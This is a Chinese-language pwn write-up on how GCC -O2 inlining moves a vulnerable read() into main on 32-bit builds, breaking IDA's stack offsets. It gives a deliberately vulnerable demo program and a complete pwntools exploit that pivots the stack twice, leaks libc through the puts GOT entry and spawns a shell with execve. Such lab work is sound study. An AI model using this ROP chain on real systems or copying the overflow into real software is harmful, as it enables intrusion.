O-Pwn

O-Pwn

最近一个朋友和我在研究为什么有些时候IDA偏移分析失误时发现当程序ebp寻址改成了esp寻址有可能会导致IDA的偏移出现失误,那么编译参数有可能就加上了O参数

GCC 编译器的 -O 参数用于控制代码优化的级别,不同的优化级别会影响程序的执行效率、编译时间和生成的可执行文件大小

加上了-O参数后会导致原本的ebp寻址变成了esp寻址,IDA偏移分析失误这种情况通常出现在memcpy()复制函数溢出中

直接简单的溢出即使ebp寻址改成了esp寻址 IDA仍然偏移分析正确,但是随着O的参数的增加优化级别也更高,在O2的情况下

一些简短的存在漏洞的函数会被直接放在main函数中,编译器并不会为其开辟新的栈帧,如以下的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <string.h>

static char src[0x500];

#pragma GCC optimize("-fno-stack-protector")

void load(){
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
}
void vuln(){
char buffer[64];
read(0,buffer,0x48);
}

int main() {

load();

printf("pwn me!\n");
read(0,src,0x490);

printf("let's overflow,but you seem can't cover the ret_addr\n");
vuln();

printf("Hack for Fan\n");

return 0;
}

下面是编译参数

1
gcc demo.c -o demo0 -g -m32 -O2

下面是IDA逆向出的代码

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
_BYTE buf[68]; // [esp+0h] [ebp-48h] BYREF

load();
puts("pwn me!");
read(0, src, 0x490u);
puts("let's overflow,but you seem can't cover the ret_addr");
read(0, buf, 0x48u);
puts("Hack for Fan");
return 0;
}

可以发现原本的vuln函数里的代码直接被放到main函数里了,这时就不能直接溢出了,因为通过调式发现以下汇编代码(以下情况仅32位会出现)

1
2
3
4
5
6
► 0x804841f <main+95>     mov    ecx, dword ptr [ebp - 4]
0x8048422 <main+98> add esp, 0x10
0x8048425 <main+101> xor eax, eax
0x8048427 <main+103> leave
0x8048428 <main+104> lea esp, [ecx - 4]
0x804842b <main+107> ret

那么这种情况的话就只能通过2次栈迁移来进行rop了

下面是exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

context(arch='i386', os='linux',log_level='debug')
#context.terminal = ["tmux", "splitw", "-h"]

elf = ELF('./demo0')
libc = ELF('./libc.so.6')
sh = process('./demo0')
#gdb.attach(sh, 'b *0x8048413\nc')
pop_ebx = 0x08048359
pop_3 = 0x080485b9
pop_esp = 0x08048557
src_addr = 0x0804A060
base_stage = 0x200
bss_addr = src_addr + base_stage
pivot_addr = bss_addr + 0x4

payload = cyclic(base_stage) + p32(elf.symbols['puts']) + p32(pop_ebx) + p32(elf.got['puts'])
payload += p32(elf.symbols['read']) + p32(pop_3) + p32(0) + p32(bss_addr - 0x100) + p32(0x40) + p32(pop_esp) + p32(bss_addr - 0x100)
sh.sendafter('pwn me!\n', payload)

payload = cyclic(0x44) + p32(pivot_addr)
sh.sendafter('ret_addr\n', payload)

puts_got = u32(sh.recvuntil('\xf7')[-4:])
success(hex(puts_got))
libc.address = puts_got - libc.symbols['puts']

payload = p32(libc.symbols['execve']) + p32(pop_3) + p32(next(libc.search('/bin/sh\x00'))) + p32(0) + p32(0) + p32(0xdeadbeef)
sh.send(payload)

sh.interactive()